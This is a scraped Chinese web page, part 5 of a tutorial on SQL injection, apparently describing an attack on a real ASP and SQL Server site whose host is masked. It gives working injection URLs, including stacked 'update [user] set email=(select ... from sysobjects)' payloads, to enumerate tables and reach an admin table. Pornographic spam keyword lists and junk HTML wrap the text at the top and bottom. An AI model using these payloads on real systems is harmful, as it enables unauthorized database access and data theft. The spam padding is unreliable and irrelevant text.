<em id="0a85b"><option id="0a85b"></option></em>

<abbr id="0a85b"></abbr>

      <nobr id="0a85b"></nobr>
        <tr id="0a85b"></tr>
        9久久伊人精品综合,亚洲一区精品视频在线,成 人免费va视频,国产一区二区三区黄网,99国产精品永久免费视频,亚洲毛片多多影院,精品久久久无码人妻中文字幕,无码国产欧美一区二区三区不卡
        學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識(shí)>

        SQL注入漏洞的攻防策略(5)

        時(shí)間: 若木632 分享

          一般來說:

          如果不存在該表的話,會(huì)出現(xiàn)

          Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e37

          對(duì)象名 user 無效。

          /showspecial.asp,行13

          不存在該字段的話,會(huì)出現(xiàn)

          Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e14

          列名 id 無效。

          /showspecial.asp,行13

          注:一般來說,第一步是猜一些公共的表,這里所指的公共表的意思是大多數(shù)的程序員在寫設(shè)計(jì)數(shù)據(jù)

          庫結(jié)構(gòu)的時(shí)候會(huì)用到的常用的表和字段,比如新聞的news表中的編號(hào)字段id,標(biāo)題字段title,用戶表use

          r或者user_data中的編號(hào)字段id,用戶名字段username,當(dāng)然你也可以在該站點(diǎn)的登陸界面看他的原代碼

          ,找到用戶名和密碼的表單的name值,那個(gè)也經(jīng)常會(huì)是表字段名的真實(shí)值,如

          name=username size=15>

          很幸運(yùn),果然存在user表和id字段

          3、通過提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username)

          from [user])

          這里的username是根據(jù)登陸框的表單名去猜的,恰好存在該字段。于是在該站注冊(cè)了一個(gè)用戶名為rr

          rrr的用戶,作為注入的平臺(tái),得到我的用戶名的id值103534

          4、繼續(xù)猜下去,這里我還是利用的他程序中的表單名,提交:

          http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

          也存在,好了,到這里,我們的平臺(tái)已經(jīng)搭建好了。

          二、深入研究,讓SQL自己招數(shù)據(jù)庫結(jié)構(gòu)

          很多時(shí)候,我們只能猜到大家比較熟用的表名,如果是非原程序公開下載的,我們很猜到他的真實(shí)數(shù)

          據(jù)庫結(jié)構(gòu),有時(shí)候猜半天都猜不到,令人很郁悶,那么該如何拿到他的表結(jié)構(gòu)呢?我們知道SQL SERVER的

          每一個(gè)數(shù)據(jù)庫都會(huì)有用戶表和系統(tǒng)表,根據(jù)SQL SERVER的聯(lián)機(jī)幫助描述是系統(tǒng)表sysobjects:在數(shù)據(jù)庫內(nèi)

          創(chuàng)建的每個(gè)對(duì)象(約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過程等)在表中占一行,那么也就是說當(dāng)前數(shù)據(jù)庫的

          表名都會(huì)在該表內(nèi)有存在,(對(duì)象名 admin 無效。大家可以看到上面出現(xiàn)的報(bào)錯(cuò)把表名描述成對(duì)象)。

          我們要用的是其中的3個(gè),描述如下(詳細(xì)的見SQL SERVER的聯(lián)機(jī)幫助):

          name 數(shù)據(jù)表的名字

          xtype 數(shù)據(jù)表的類型 u為用戶表

          id 數(shù)據(jù)表的對(duì)象標(biāo)志

          status 保留字段,用戶表一般都是大于0的

          在查詢分析器執(zhí)行以下SQL語句(以我本地的數(shù)據(jù)庫為例子)

          select top 1 name from sysobjects where xtype=u and status>0

          我們馬上就可以得到該數(shù)據(jù)庫下用戶表的第一個(gè)表名gallery

          select top 1 id from sysobjects where xtype=u and name=gallery

          我們馬上就可以得到該數(shù)據(jù)庫下用戶表的第一個(gè)表名gallery的對(duì)象標(biāo)志2099048

          select top 1 name from sysobjects where xtype=u and id>2099048

          再得到第2個(gè)表名gb_data,這里用到的是id>2099048,因?yàn)閷?duì)象標(biāo)志id是根據(jù)由小到大排列的。

          以此類推,我們可以得到所有的用戶表的名字了

          接下來,我們要根據(jù)得到的表名取他的字段名,這里我們用到的是系統(tǒng)自帶的2個(gè)函數(shù)col_name()和o

          bject_id(),在查詢分析器執(zhí)行以下SQL語句(以我本地的數(shù)據(jù)庫為例子):

          select top 1 col_name(object_id(gallery),1) from gallery

          得到gallery表的第一個(gè)字段名為id。

          注:

          col_name()的語法

          COL_NAME ( table_id , column_id )

          參數(shù)

          table_id:包含數(shù)據(jù)庫列的表的標(biāo)識(shí)號(hào)。table_id 屬于 int 類型。

          column_id:列的標(biāo)識(shí)號(hào)。column_id 參數(shù)屬于 int 類型。

          其中我們用object_id()函數(shù)來得到該表的標(biāo)識(shí)號(hào),1、2、3。。表示該表的第1個(gè)、第2個(gè)、第3個(gè)。

          。字段的標(biāo)識(shí)號(hào)

          以此類推得到該表所有的字段名稱

          三、再次滲透攻擊

          經(jīng)過上面2步的熱身,接下來我們?cè)摾媒⒑玫钠脚_(tái)實(shí)際操作演練一下了

          依然是那個(gè)頁,我們提交

          http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from

          sysobjects where xtype=u and status>0) where id=103534;--

          服務(wù)器返回

          ADODB.Recordset 錯(cuò)誤 800a0cb3

          當(dāng)前記錄集不支持更新。這可能是提供程序的限制,也可能是選定鎖定類型的限制。

          /showspecial.asp,行19

          出師不利,可能該頁記錄集打開方式是只讀,我們?cè)贀Q一個(gè)頁

          找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同樣存在問題,于是提交

          http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

          name from sysobjects where xtype=u and status>0) where id=103534;--

          把第一個(gè)數(shù)據(jù)表的名字更新到我的資料的email項(xiàng)里去,得到第一個(gè)表名為:lmuser

          http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id

          from sysobjects where xtype=u and name=lmuser) where id=103534;--

          得到第一個(gè)表lmuser的id標(biāo)識(shí)號(hào)為:363148339

          http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

          name from sysobjects where xtype=u and id>363148339) where id=103534;--

          得到第二個(gè)表名為:ad。這里我們利用的是數(shù)據(jù)表的對(duì)象標(biāo)志id是升序排列的特點(diǎn),以此類推繼續(xù)取

          ……(由于篇幅問題,中間省略n步),最后我們得到了所有的表名,發(fā)現(xiàn)其中有個(gè)表admin,哈,很可能

          就是管理員的列表了。

        75367 主站蜘蛛池模板: 中文无码乱人伦中文视频在线| 在线观看人成视频免费| 久久久国产精品樱花网站| 国内精品一线二线三线黄| 激情国产一区二区三区四区| 国产精品中文第一字幕| 在线精品亚洲一区二区绿巨人| 精品无码国产一区二区三区AV| 国产高清自产拍av在线| 亚洲性色AV一区二区三区| 挺进粗大尤物人妻中文字幕| 国产无遮挡又黄又爽不要vip软件| 久久综合给合久久97色| 国产一区,二区,三区免费视频| 狠狠v日韩v欧美v| 久久日韩精品一区二区五区| 久久精品国产亚洲av麻豆甜| 亚洲熟妇精品一区二区| 日韩视频福利| 日韩有码中文字幕av| 999热在线精品观看全部| 国产精品无遮挡猛进猛出| 花式道具play高h文调教| 偷青青国产精品青青在线观看| 国产亚洲精品AA片在线播放天| 亚洲另类午夜中文字幕| 精品国产91久久粉嫩懂色| 国产综合久久久久久鬼色| 亚洲精品国产字幕久久麻豆| 日本一道一区二区视频| 人妻av一区二区三区av免费| 亚洲欧美日韩成人一区| 天天综合网站| 国产成人不卡一区二区| 免费看成人毛片无码视频| 亚洲人妻一区二区精品| 久久国产精品亚洲精品99| 好吊视频在线一区二区三区| 久久精品丝袜高跟鞋| 被黑人巨大一区二区三区| 少妇特黄a一区二区三区|